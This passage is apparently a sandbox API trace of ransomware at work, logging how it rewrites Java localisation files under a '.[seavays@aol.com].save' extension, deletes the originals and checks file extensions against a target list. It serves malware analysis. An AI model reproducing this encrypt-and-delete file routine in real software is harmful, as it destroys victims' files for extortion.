Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0210.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.402] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.402] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0210.403] GetLastError () returned 0x0 [0210.403] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0xd51, lpOverlapped=0x0) returned 1 [0210.404] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xd60, lpOverlapped=0x0) returned 1 [0210.405] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.405] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x100, lpOverlapped=0x0) returned 1 [0210.406] SetEndOfFile (hFile=0x350) returned 1 [0210.406] CloseHandle (hObject=0x350) returned 1 [0210.406] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.406] SetEndOfFile (hFile=0x34c) returned 1 [0210.407] CloseHandle (hObject=0x34c) returned 1 [0210.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.407] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0210.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.407] lstrlenW (lpString=".doc") returned 4 [0210.408] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString=".docx") returned 5 [0210.408] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.408] lstrlenW (lpString=".pdf") returned 4 [0210.408] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString=".xls") returned 4 [0210.408] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString=".xlsx") returned 5 [0210.408] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.408] lstrlenW (lpString=".ppt") returned 4 [0210.408] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.408] lstrlenW (lpString=".zip") returned 4 [0210.408] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString=".rar") returned 4 [0210.408] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString=".bz2") returned 4 [0210.408] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString=".7z") returned 3 [0210.408] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.408] lstrlenW (lpString=".dbf") returned 4 [0210.408] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.408] lstrlenW (lpString=".1cd") returned 4 [0210.408] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.408] lstrlenW (lpString=".jpg") returned 4 [0210.408] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.409] lstrlenW (lpString=".doc") returned 4 [0210.409] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString=".docx") returned 5 [0210.409] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.409] lstrlenW (lpString=".pdf") returned 4 [0210.409] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString=".xls") returned 4 [0210.409] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString=".xlsx") returned 5 [0210.409] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.409] lstrlenW (lpString=".ppt") returned 4 [0210.409] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.409] lstrlenW (lpString=".zip") returned 4 [0210.409] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString=".rar") returned 4 [0210.409] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString=".bz2") returned 4 [0210.409] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString=".7z") returned 3 [0210.409] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.409] lstrlenW (lpString=".dbf") returned 4 [0210.409] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.409] lstrlenW (lpString=".1cd") returned 4 [0210.409] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0210.410] lstrlenW (lpString=".jpg") returned 4 [0210.410] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.410] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.410] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0210.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.410] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=4072) returned 1 [0210.410] CloseHandle (hObject=0x34c) returned 1 [0210.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0210.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.411] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.411] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0210.412] GetLastError () returned 0x0 [0210.412] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0xfe8, lpOverlapped=0x0) returned 1 [0210.413] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xff0, lpOverlapped=0x0) returned 1 [0210.414] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.414] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x106, lpOverlapped=0x0) returned 1 [0210.414] SetEndOfFile (hFile=0x350) returned 1 [0210.414] CloseHandle (hObject=0x350) returned 1 [0210.414] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.415] SetEndOfFile (hFile=0x34c) returned 1 [0210.415] CloseHandle (hObject=0x34c) returned 1 [0210.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.416] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0210.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.416] lstrlenW (lpString=".doc") returned 4 [0210.416] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.416] lstrlenW (lpString=".docx") returned 5 [0210.416] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.417] lstrlenW (lpString=".pdf") returned 4 [0210.417] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString=".xls") returned 4 [0210.417] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString=".xlsx") returned 5 [0210.417] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.417] lstrlenW (lpString=".ppt") returned 4 [0210.417] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.417] lstrlenW (lpString=".zip") returned 4 [0210.417] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString=".rar") returned 4 [0210.417] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString=".bz2") returned 4 [0210.417] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString=".7z") returned 3 [0210.417] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.417] lstrlenW (lpString=".dbf") returned 4 [0210.417] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.417] lstrlenW (lpString=".1cd") returned 4 [0210.417] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.417] lstrlenW (lpString=".jpg") returned 4 [0210.417] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.417] lstrlenW (lpString=".doc") returned 4 [0210.417] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString=".docx") returned 5 [0210.418] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.418] lstrlenW (lpString=".pdf") returned 4 [0210.418] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString=".xls") returned 4 [0210.418] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString=".xlsx") returned 5 [0210.418] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.418] lstrlenW (lpString=".ppt") returned 4 [0210.418] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.418] lstrlenW (lpString=".zip") returned 4 [0210.418] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString=".rar") returned 4 [0210.418] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString=".bz2") returned 4 [0210.418] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString=".7z") returned 3 [0210.418] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.418] lstrlenW (lpString=".dbf") returned 4 [0210.418] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.418] lstrlenW (lpString=".1cd") returned 4 [0210.418] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0210.418] lstrlenW (lpString=".jpg") returned 4 [0210.418] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.419] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.419] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0210.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.419] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=3752) returned 1 [0210.419] CloseHandle (hObject=0x34c) returned 1 [0210.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0210.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.419] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.420] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.420] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0210.420] GetLastError () returned 0x0 [0210.420] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0xea8, lpOverlapped=0x0) returned 1 [0210.421] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0210.423] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.423] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x106, lpOverlapped=0x0) returned 1 [0210.423] SetEndOfFile (hFile=0x350) returned 1 [0210.423] CloseHandle (hObject=0x350) returned 1 [0210.423] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.423] SetEndOfFile (hFile=0x34c) returned 1 [0210.424] CloseHandle (hObject=0x34c) returned 1 [0210.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.424] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0210.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.425] lstrlenW (lpString=".doc") returned 4 [0210.425] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString=".docx") returned 5 [0210.425] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.425] lstrlenW (lpString=".pdf") returned 4 [0210.425] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString=".xls") returned 4 [0210.425] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString=".xlsx") returned 5 [0210.425] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.425] lstrlenW (lpString=".ppt") returned 4 [0210.425] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.425] lstrlenW (lpString=".zip") returned 4 [0210.425] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString=".rar") returned 4 [0210.425] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString=".bz2") returned 4 [0210.425] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString=".7z") returned 3 [0210.425] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.425] lstrlenW (lpString=".dbf") returned 4 [0210.425] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.425] lstrlenW (lpString=".1cd") returned 4 [0210.426] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.426] lstrlenW (lpString=".jpg") returned 4 [0210.426] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.426] lstrlenW (lpString=".doc") returned 4 [0210.426] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString=".docx") returned 5 [0210.426] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.426] lstrlenW (lpString=".pdf") returned 4 [0210.426] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString=".xls") returned 4 [0210.426] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString=".xlsx") returned 5 [0210.426] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.426] lstrlenW (lpString=".ppt") returned 4 [0210.426] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.426] lstrlenW (lpString=".zip") returned 4 [0210.426] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString=".rar") returned 4 [0210.426] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString=".bz2") returned 4 [0210.426] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.426] lstrlenW (lpString=".7z") returned 3 [0210.426] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.427] lstrlenW (lpString=".dbf") returned 4 [0210.427] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.427] lstrlenW (lpString=".1cd") returned 4 [0210.427] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0210.427] lstrlenW (lpString=".jpg") returned 4 [0210.427] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.427] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.427] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0210.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.427] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=3752) returned 1 [0210.427] CloseHandle (hObject=0x34c) returned 1 [0210.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0210.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.428] SetFilePointerEx (in: hFile=0x34c, 